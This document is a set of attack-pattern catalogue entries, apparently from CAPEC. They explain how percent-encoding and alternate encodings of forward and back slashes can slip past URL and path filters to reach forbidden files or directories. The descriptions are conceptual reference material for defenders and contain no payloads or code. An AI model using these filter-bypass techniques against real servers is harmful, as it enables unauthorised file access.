This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.